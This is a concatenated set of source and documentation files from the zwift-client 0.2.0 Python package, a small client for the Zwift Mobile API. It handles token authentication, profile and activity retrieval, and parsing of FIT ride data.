2.7, 3.4, 3.5 and 3.6, and for PyPy. Check https://travis-ci.org/jsmits/zwift-client/pull_requests and make sure that the tests pass for all supported Python versions. Tips ---- To run a subset of tests:: $ py.test tests.test_zwift
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/CONTRIBUTING.rst
CONTRIBUTING.rst
======= Credits ======= Development Lead ---------------- * Sander Smits <[email protected]> Contributors ------------ None yet. Why not be the first?
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/AUTHORS.rst
AUTHORS.rst
#!/usr/bin/env python # -*- coding: utf-8 -*- """The setup script.""" import zwift from setuptools import setup, find_packages version = zwift.__version__ with open('README.rst') as readme_file: readme = readme_file.read() with open('HISTORY.rst') as history_file: history = history_file.read() requirements = [ 'fitparse', 'protobuf', 'requests', ] setup_requirements = [ 'pytest-runner', ] test_requirements = [ 'pytest', ] setup( name='zwift-client', version=version, description="Zwift Mobile API client.", long_description=readme + '\n\n' + history, author="Sander Smits", author_email='[email protected]', url='https://github.com/jsmits/zwift-client', packages=find_packages(include=['zwift']), include_package_data=True, install_requires=requirements, license="MIT license", zip_safe=False, keywords='zwift', classifiers=[ 'Development Status :: 2 - Pre-Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', "Programming Language :: Python :: 2", 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ], test_suite='tests', tests_require=test_requirements, setup_requires=setup_requirements, )
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/setup.py
setup.py
.. include:: ../CONTRIBUTING.rst
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/docs/contributing.rst
contributing.rst
.. include:: ../AUTHORS.rst
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/docs/authors.rst
authors.rst
===== Usage ===== To use Zwift Mobile API client in a project:: import zwift
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/docs/usage.rst
usage.rst
Welcome to Zwift Mobile API client's documentation! ====================================== Contents: .. toctree:: :maxdepth: 2 readme installation usage modules contributing authors history Indices and tables ================== * :ref:`genindex` * :ref:`modindex` * :ref:`search`
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/docs/index.rst
index.rst
.. highlight:: shell ============ Installation ============ Stable release -------------- To install Zwift Mobile API client, run this command in your terminal: .. code-block:: console $ pip install zwift-client This is the preferred method to install Zwift Mobile API client, as it will always install the most recent stable release. If you don't have `pip`_ installed, this `Python installation guide`_ can guide you through the process. .. _pip: https://pip.pypa.io .. _Python installation guide: http://docs.python-guide.org/en/latest/starting/installation/ From sources ------------ The sources for Zwift Mobile API client can be downloaded from the `Github repo`_. You can either clone the public repository: .. code-block:: console $ git clone git://github.com/jsmits/zwift-client Or download the `tarball`_: .. code-block:: console $ curl -OL https://github.com/jsmits/zwift-client/tarball/master Once you have a copy of the source, you can install it with: .. code-block:: console $ python setup.py install .. _Github repo: https://github.com/jsmits/zwift-client .. _tarball: https://github.com/jsmits/zwift-client/tarball/master
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/docs/installation.rst
installation.rst
.. include:: ../README.rst
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/docs/readme.rst
readme.rst
#!/usr/bin/env python # -*- coding: utf-8 -*- # # zwift documentation build configuration file, created by # sphinx-quickstart on Tue Jul 9 22:26:36 2013. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys import os # If extensions (or modules to document with autodoc) are in another # directory, add these directories to sys.path here. If the directory is # relative to the documentation root, use os.path.abspath to make it # absolute, like shown here. #sys.path.insert(0, os.path.abspath('.')) # Get the project root dir, which is the parent dir of this cwd = os.getcwd() project_root = os.path.dirname(cwd) # Insert the project root dir as the first element in the PYTHONPATH. # This lets us ensure that the source package is imported, and that its # version is used. sys.path.insert(0, project_root) import zwift # -- General configuration --------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = ['sphinx.ext.autodoc', 'sphinx.ext.viewcode'] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'Zwift Mobile API client' copyright = u"2018, Sander Smits" # The version info for the project you're documenting, acts as replacement # for |version| and |release|, also used in various other places throughout # the built documents. # # The short X.Y version. version = zwift.__version__ # The full version, including alpha/beta/rc tags. release = zwift.__version__ # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to # some non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build'] # The reST default role (used for this markup: `text`) to use for all # documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # If true, keep warnings as "system message" paragraphs in the built # documents. #keep_warnings = False # -- Options for HTML output ------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'default' # Theme options are theme-specific and customize the look and feel of a # theme further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as # html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the # top of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon # of the docs. This file should be a Windows icon file (.ico) being # 16x16 or 32x32 pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) # here, relative to this directory. They are copied after the builtin # static files, so a file named "default.css" will overwrite the builtin # "default.css". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page # bottom, using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names # to template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. # Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. # Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages # will contain a <link> tag referring to it. The value of this option # must be the base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'zwiftdoc' # -- Options for LaTeX output ------------------------------------------ latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass # [howto/manual]). latex_documents = [ ('index', 'zwift.tex', u'Zwift Mobile API client Documentation', u'Sander Smits', 'manual'), ] # The name of an image file (relative to this directory) to place at # the top of the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings # are parts, not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output ------------------------------------ # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'zwift', u'Zwift Mobile API client Documentation', [u'Sander Smits'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ---------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'zwift', u'Zwift Mobile API client Documentation', u'Sander Smits', 'zwift', 'One line description of project.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote' # If true, do not generate a @detailmenu in the "Top" node's menu. #texinfo_no_detailmenu = False
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/docs/conf.py
conf.py
.. include:: ../HISTORY.rst
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/docs/history.rst
history.rst
# -*- coding: utf-8 -*- import unittest from zwift import Client from zwift.activity import Activity from zwift.profile import Profile from zwift.world import World class TestZwift(unittest.TestCase): def setUp(self): username = 'Debbie' password = 'Harry' self.player_id = 123456 self.client = Client(username, password) def test_activity(self): activity = self.client.get_activity(self.player_id) assert isinstance(activity, Activity) assert activity.player_id == self.player_id def test_profile(self): profile = self.client.get_profile(self.player_id) assert isinstance(profile, Profile) assert profile.player_id == self.player_id def test_profile_me(self): profile = self.client.get_profile() assert isinstance(profile, Profile) assert profile.player_id == 'me' def test_world(self): world = self.client.get_world() assert isinstance(world, World) assert world.world_id == 1 # default world id
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/tests/test_zwift.py
test_zwift.py
# -*- coding: utf-8 -*- """Unit test package for zwift."""
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/tests/__init__.py
__init__.py
# -*- coding: utf-8 -*- from fitparse import FitFile, StandardUnitsDataProcessor from .request import Request, download_file class Activity: def __init__(self, player_id, get_access_token): self.player_id = player_id self.request = Request(get_access_token) def list(self, start=0, limit=20): return self.request.json( '/api/profiles/{}/activities/?start={}&limit={}'.format(self.player_id, start, limit)) def get_data(self, activity_id): activity_data = self.get_activity(activity_id) fit_file_bucket = activity_data['fitFileBucket'] fit_file_key = activity_data['fitFileKey'] fit_file_url = 'https://{}.s3.amazonaws.com/{}'.format( fit_file_bucket, fit_file_key) raw_fit_data = download_file(fit_file_url) records = decode_fit_file(raw_fit_data) return process_fit_data(records) def get_activity(self, activity_id): return self.request.json( '/api/profiles/{}/activities/{}'.format( self.player_id, activity_id)) def decode_fit_file(raw_fit_data): fit_file = FitFile( raw_fit_data, data_processor=StandardUnitsDataProcessor()) return [m for m in fit_file.get_messages() if m.name == 'record'] def process_fit_data(records): return [parse_fit_record(r) for r in records] def parse_fit_record(record): return { 'time': record.get_value('timestamp'), # datetime in UTC 'lat': record.get_value('position_lat'), # WGS84 'lng': record.get_value('position_long'), # WGS84 'altitude': record.get_value('enhanced_altitude'), # m 'distance': record.get_value('distance'), # km 'speed': record.get_value('enhanced_speed'), # km/h 'power': record.get_value('power'), # watt 'cadence': record.get_value('cadence'), # rpm 'heartrate': record.get_value('heart_rate'), # bpm }
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/zwift/activity.py
activity.py
# -*- coding: utf-8 -*- from .activity import Activity from .auth import AuthToken from .profile import Profile from .world import World class Client: def __init__(self, username, password): self.auth_token = AuthToken(username, password) def get_activity(self, player_id): return Activity(player_id, self.auth_token.get_access_token) def get_profile(self, player_id='me'): return Profile(player_id, self.auth_token.get_access_token) def get_world(self, world_id=1): return World(world_id, self.auth_token.get_access_token)
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/zwift/client.py
client.py
# -*- coding: utf-8 -*- from __future__ import print_function import time import requests class AuthToken: def __init__(self, username, password): self.username = username self.password = password # variables from the API response self.access_token = None self.expires_in = None self.id_token = None self.not_before_policy = None self.refresh_token = None self.refresh_expires_in = None self.session_state = None self.token_type = None # absolute expire times of the access and refresh tokens self.access_token_expiration = None self.refresh_token_expiration = None def fetch_token_data(self): if self.have_valid_refresh_token(): data = { "refresh_token": self.refresh_token, "grant_type": "refresh_token", } else: data = { "username": self.username, "password": self.password, "grant_type": "password", } data['client_id'] = "Zwift_Mobile_Link" r = requests.post( 'https://secure.zwift.com/auth/realms/zwift/tokens/access/codes', data=data) if not r.ok: # TODO: handle exceptions pass return r.json() def update_token_data(self): """Parse the access token response.""" token_data = self.fetch_token_data() now = time.time() for key, value in token_data.items(): key = key.replace('-', '_') setattr(self, key, value) self.access_token_expiration = now + self.expires_in - 5 self.refresh_token_expiration = now + self.refresh_expires_in - 5 def have_valid_access_token(self): if not self.access_token or time.time() > self.access_token_expiration: return False else: return True def have_valid_refresh_token(self): if (not self.refresh_token or time.time() > self.refresh_token_expiration): return False else: return True def get_access_token(self): if self.have_valid_access_token(): return self.access_token else: self.update_token_data() return self.access_token
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/zwift/auth.py
auth.py
# -*- coding: utf-8 -*- class RequestException(BaseException): pass
zwift-client
/zwift-client-0.2.0.tar.gz/zwift-client-0.2.0/zwift/error.py
error.py